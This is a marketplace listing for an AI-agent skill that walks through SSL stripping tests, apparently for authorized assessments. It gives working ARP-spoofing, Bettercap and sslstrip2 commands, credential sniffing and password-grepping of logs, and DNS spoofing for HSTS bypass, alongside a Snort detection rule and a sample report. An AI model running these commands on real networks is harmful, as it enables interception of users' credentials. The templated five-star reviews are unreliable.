performing-ssl-stripping-attack▌
mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026
MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.
Simulates SSL stripping attacks using sslstrip, Bettercap, and mitmproxy in authorized environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms that protect users from downgrade attacks on encrypted connections.
| name | performing-ssl-stripping-attack |
| description | 'Simulates SSL stripping attacks using sslstrip, Bettercap, and mitmproxy in authorized environments to test HSTS enforcement, certificate validation, and HTTPS upgrade mechanisms that protect users from downgrade attacks on encrypted connections. ' |
| domain | cybersecurity |
| subdomain | network-security |
| tags | - network-security - ssl-stripping - https - hsts - tls-security |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 |
Performing SSL Stripping Attack
When to Use
- Testing whether web applications properly enforce HTTPS through HSTS headers and redirect chains
- Validating that HSTS preloading is correctly configured and registered in browser preload lists
- Demonstrating the risk of cleartext HTTP to stakeholders during authorized security assessments
- Assessing whether internal applications and thick clients validate TLS certificates and reject downgrades
- Training SOC teams to detect SSL stripping indicators in network traffic
Do not use against networks or applications without explicit written authorization, to intercept real user credentials, or against production systems during business hours without change management approval.
Prerequisites
- Written authorization specifying in-scope applications and approved attack techniques
- Bettercap 2.x or sslstrip2 installed on the attacker machine
- ARP spoofing or other MITM positioning established (see ARP spoofing skill)
- IP forwarding enabled on the attacker machine
- Wireshark for verifying attack success and capturing evidence
- Test accounts (not real user credentials) for demonstrating credential interception
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1: Establish MITM Position
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
# Position via ARP spoofing using Bettercap
sudo bettercap -iface eth0 -eval "set arp.spoof.targets 192.168.1.50; arp.spoof on"
# Alternatively, use arpspoof from dsniff
sudo arpspoof -i eth0 -t 192.168.1.50 -r 192.168.1.1 &
Step 2: Execute SSL Stripping with Bettercap
# Start Bettercap with SSL stripping
sudo bettercap -iface eth0
# Enable ARP spoofing
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
> arp.spoof on
# Enable HTTP proxy with SSL stripping
> set http.proxy.sslstrip true
> set http.proxy.port 8080
> http.proxy on
# Enable network sniffer for credential capture
> set net.sniff.verbose true
> net.sniff on
# Watch for intercepted HTTP traffic (was HTTPS)
# Bettercap will show credentials and URLs in real-time
Step 3: Execute SSL Stripping with sslstrip2
# Configure iptables to redirect HTTP traffic through sslstrip
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
# Start sslstrip
sudo sslstrip2 -l 10000 -w sslstrip_log.txt
# In another terminal, monitor the log for intercepted credentials
tail -f sslstrip_log.txt | grep -i "pass\|user\|login\|email"
# sslstrip works by:
# 1. Intercepting HTTP responses containing HTTPS links
# 2. Replacing https:// with http:// in the response
# 3. Maintaining HTTPS connection to the real server
# 4. Serving downgraded HTTP to the victim
Step 4: Test HSTS Bypass Techniques
# Check if target has HSTS header
curl -sI https://target-app.example.com | grep -i strict-transport-security
# Check if target is on the HSTS preload list
curl -s "https://hstspreload.org/api/v2/status?domain=example.com" | python3 -m json.tool
# Test HSTS bypass via subdomain substitution
# sslstrip2 can replace URLs with similar-looking HTTP alternatives:
# https://accounts.google.com -> http://accounts.google.com (fails if HSTS)
# https://accounts.google.com -> http://accounts.google.com. (trailing dot bypass attempt)
# Bettercap HSTS bypass with DNS spoofing
sudo bettercap -iface eth0
> set arp.spoof.targets 192.168.1.50
> arp.spoof on
> set dns.spoof.domains target-app.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
> set http.proxy.sslstrip true
> http.proxy on
# For applications not on HSTS preload, clear HSTS cache in test browser:
# Chrome: chrome://net-internals/#hsts -> Delete domain security policies
# Firefox: Clear recent history -> Active Logins (resets HSTS)
Step 5: Validate Detection and Controls
# Check from victim's perspective:
# 1. Browser address bar should show http:// instead of https://
# 2. No padlock icon visible
# 3. If HSTS is effective, browser should show error and refuse connection
# Capture evidence of the downgrade
tshark -i eth0 -f "host 192.168.1.50 and port 80" \
-T fields -e frame.time -e ip.src -e ip.dst -e http.host -e http.request.uri \
-Y "http.request" > ssl_strip_evidence.txt
# Verify what the victim sees vs what goes to the real server
# Victim to attacker: HTTP (port 80, cleartext)
tshark -i eth0 -f "src host 192.168.1.50 and dst port 80" -c 20
# Attacker to real server: HTTPS (port 443, encrypted)
tshark -i eth0 -f "dst port 443 and dst host <real_server_ip>" -c 20
# Check IDS/SIEM for detection
# Snort rule that should detect SSL stripping indicators:
# alert tcp any any -> $HOME_NET 80 (msg:"Possible SSL Strip - Login form over HTTP";
# flow:to_client,established; content:"type=\"password\""; nocase;
# content:"http://"; nocase; sid:9000010;)
# Check for HSTS missing header alerts
curl -s http://target-app.example.com | grep -i "password\|login"
# If login form is served over HTTP, SSL stripping succeeded
Step 6: Clean Up and Report
# Stop SSL stripping
# In Bettercap:
> http.proxy off
> arp.spoof off
> quit
# Remove iptables rules
sudo iptables -t nat -F PREROUTING
# Disable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=0
# Kill background processes
sudo killall sslstrip2 arpspoof 2>/dev/null
# Verify network is restored
ping -c 1 192.168.1.1
Key Concepts
| Term | Definition |
|---|---|
| SSL Stripping | Downgrade attack that intercepts HTTP-to-HTTPS redirects, maintaining encrypted connection to the server while serving cleartext HTTP to the victim |
| HSTS (HTTP Strict Transport Security) | HTTP response header that instructs browsers to only connect via HTTPS for a specified duration, preventing SSL stripping in subsequent visits |
| HSTS Preloading | Submission of domains to browser-maintained lists that enforce HTTPS from the very first connection, closing the first-visit vulnerability window |
| Certificate Transparency | Public logging framework for TLS certificates that enables detection of misissued certificates but does not prevent SSL stripping |
| Mixed Content | Web pages served over HTTPS that load resources (scripts, images) over HTTP, creating partial downgrade vulnerability |
| Upgrade-Insecure-Requests | CSP directive that instructs browsers to upgrade HTTP requests to HTTPS, complementing HSTS for mixed content prevention |
Tools & Systems
- Bettercap 2.x: Network attack framework with integrated SSL stripping, HTTP/HTTPS proxying, and credential sniffing
- sslstrip2: Dedicated SSL stripping tool that transparently downgrades HTTPS to HTTP with URL rewriting
- mitmproxy: TLS-intercepting proxy that can modify response headers to remove HSTS and other security headers
- curl: Command-line tool for testing HSTS headers, redirect chains, and certificate validation
- hstspreload.org: Public HSTS preload list checker for verifying domain inclusion in browser preload databases
Common Scenarios
Scenario: Testing HSTS Implementation on a Banking Web Application
Context: A bank deployed HSTS on their online banking portal (banking.example.com) six months ago and wants to verify it effectively prevents SSL stripping. The assessment is authorized to test from a workstation on the same VLAN as the test environment using dedicated test accounts.
Approach:
- Verify HSTS header presence and values:
curl -sI https://banking.example.com | grep -i strictrevealsmax-age=31536000; includeSubDomains; preload - Check HSTS preload status: confirmed the domain is on Chrome and Firefox preload lists
- Set up Bettercap with ARP spoofing and SSL stripping against a test workstation
- Attempt to access banking.example.com from the test workstation -- Chrome refuses connection with NET::ERR_CERT_AUTHORITY_INVALID (HSTS prevents downgrade)
- Test with a fresh browser profile (no HSTS cache) -- still blocked because domain is preloaded
- Test the bank's mobile app -- app successfully connects over HTTP (does not enforce HSTS), exposing credentials in cleartext
- Test subdomain api.banking.example.com -- not on preload list, SSL stripping succeeds on first visit before HSTS header is cached
Pitfalls:
- Testing with a browser that already has HSTS cached for the target domain and concluding HSTS works, when a first-time visitor might be vulnerable
- Not testing subdomains separately --
includeSubDomainsonly works after the parent domain's HSTS header is received - Forgetting to test mobile applications which may not respect HSTS headers at all
- Not checking for mixed content that could leak session tokens even with HSTS enabled
Output Format
## SSL Stripping Assessment Report
**Test ID**: SSL-STRIP-2024-001
**Target Application**: banking.example.com
**Test Date**: 2024-03-15
### HSTS Configuration
| Property | Value | Status |
|----------|-------|--------|
| HSTS Header Present | Yes | PASS |
| max-age | 31536000 (1 year) | PASS |
| includeSubDomains | Yes | PASS |
| preload | Yes | PASS |
| In Chrome Preload List | Yes | PASS |
### SSL Stripping Test Results
| Target | Client | HSTS Status | Strip Result |
|--------|--------|-------------|--------------|
| banking.example.com | Chrome (cached) | Active | BLOCKED |
| banking.example.com | Chrome (fresh) | Preloaded | BLOCKED |
| banking.example.com | Mobile App | Not Enforced | VULNERABLE |
| api.banking.example.com | Chrome (fresh) | Not Preloaded | VULNERABLE (first visit) |
### Recommendations
1. Implement TLS certificate pinning in the mobile banking app (Critical)
2. Submit api.banking.example.com to HSTS preload list separately
3. Add Content-Security-Policy: upgrade-insecure-requests header
4. Implement certificate transparency monitoring for the domain
How to use performing-ssl-stripping-attack on Cursor
AI-first code editor with Composer
Prerequisites
Before installing skills in Cursor, ensure your development environment meets these requirements:
- ›Cursor installed and configured on your development machine
- ›Node.js version 16.0+ with npm package manager (verify with
node --version) - ›Active project directory or workspace where you want to add performing-ssl-stripping-attack
Execute installation command
Execute the skills CLI command in your project's root directory to begin installation:
The skills CLI fetches performing-ssl-stripping-attack from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.
Select Cursor when prompted
The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:
Verify installation
Confirm successful installation by checking the skill directory location:
Reload or restart Cursor to activate performing-ssl-stripping-attack. Access the skill through slash commands (e.g., /performing-ssl-stripping-attack) or your agent's skill management interface.
Security & Verification Notice
We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.
Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.
List & Monetize Your Skill
Submit your Claude Code skill and start earning
Use Cases▌
Task Automation & Efficiency
Automate repetitive workflows and reduce manual effort
Example
Generate reports, summarize documents, draft communications
Save 3-5 hours per week on routine tasks
Knowledge Enhancement
Learn new skills, understand complex topics, get expert guidance
Example
Explain concepts, provide examples, suggest learning resources
Accelerate learning and skill development by 2x
Quality Improvement
Enhance output quality through reviews, suggestions, and refinements
Example
Review drafts, suggest improvements, catch errors
Improve work quality by 30-40% with less effort
Implementation Guide▌
Prerequisites
- ›Claude Desktop or compatible AI client with skill support
- ›Clear understanding of task or problem to solve
- ›Willingness to iterate and refine outputs
Time Estimate
15-45 minutes depending on use case complexity
Installation Steps
- 1.Install skill using provided installation command
- 2.Test with simple use case relevant to your work
- 3.Evaluate output quality and relevance
- 4.Iterate on prompts to improve results
- 5.Integrate into regular workflow if valuable
Common Pitfalls
- ⚠Expecting perfect results without iteration
- ⚠Not providing enough context in prompts
- ⚠Using skill for tasks outside its intended scope
- ⚠Accepting outputs without review and validation
Best Practices▌
✓ Do
- +Start with clear, specific prompts
- +Provide relevant context and constraints
- +Review and refine all outputs before using
- +Iterate to improve output quality
- +Document successful prompt patterns
✗ Don't
- −Don't use without understanding skill limitations
- −Don't skip validation of outputs
- −Don't share sensitive information in prompts
- −Don't expect skill to replace human judgment
💡 Pro Tips
- ★Be specific about desired format and style
- ★Ask for multiple options to choose from
- ★Request explanations to understand reasoning
- ★Combine AI efficiency with human expertise
When to Use This▌
✓ Use When
Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.
✗ Avoid When
Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.
Learning Path▌
- 1Familiarize yourself with skill capabilities and limitations
- 2Start with low-risk, non-critical tasks
- 3Progress to more complex and valuable use cases
- 4Build expertise through regular use and experimentation
Discussion
Product Hunt–style comments (not star reviews)- No comments yet — start the thread.
Ratings
4.7★★★★★68 reviews- ★★★★★Shikha Mishra· Dec 28, 2024
performing-ssl-stripping-attack is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Xiao Bansal· Dec 12, 2024
performing-ssl-stripping-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Arya Farah· Dec 8, 2024
Keeps context tight: performing-ssl-stripping-attack is the kind of skill you can hand to a new teammate without a long onboarding doc.
- ★★★★★Chen Srinivasan· Dec 4, 2024
Useful defaults in performing-ssl-stripping-attack — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.
- ★★★★★Nikhil Flores· Dec 4, 2024
performing-ssl-stripping-attack has been reliable in day-to-day use. Documentation quality is above average for community skills.
- ★★★★★Anika Sharma· Dec 4, 2024
performing-ssl-stripping-attack fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.
- ★★★★★Chen Gill· Nov 23, 2024
performing-ssl-stripping-attack is among the better-maintained entries we tried; worth keeping pinned for repeat workflows.
- ★★★★★Charlotte Desai· Nov 23, 2024
Solid pick for teams standardizing on skills: performing-ssl-stripping-attack is focused, and the summary matches what you get after install.
- ★★★★★Luis Lopez· Nov 23, 2024
We added performing-ssl-stripping-attack from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.
- ★★★★★Valentina Johnson· Nov 23, 2024
I recommend performing-ssl-stripping-attack for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.
showing 1-10 of 68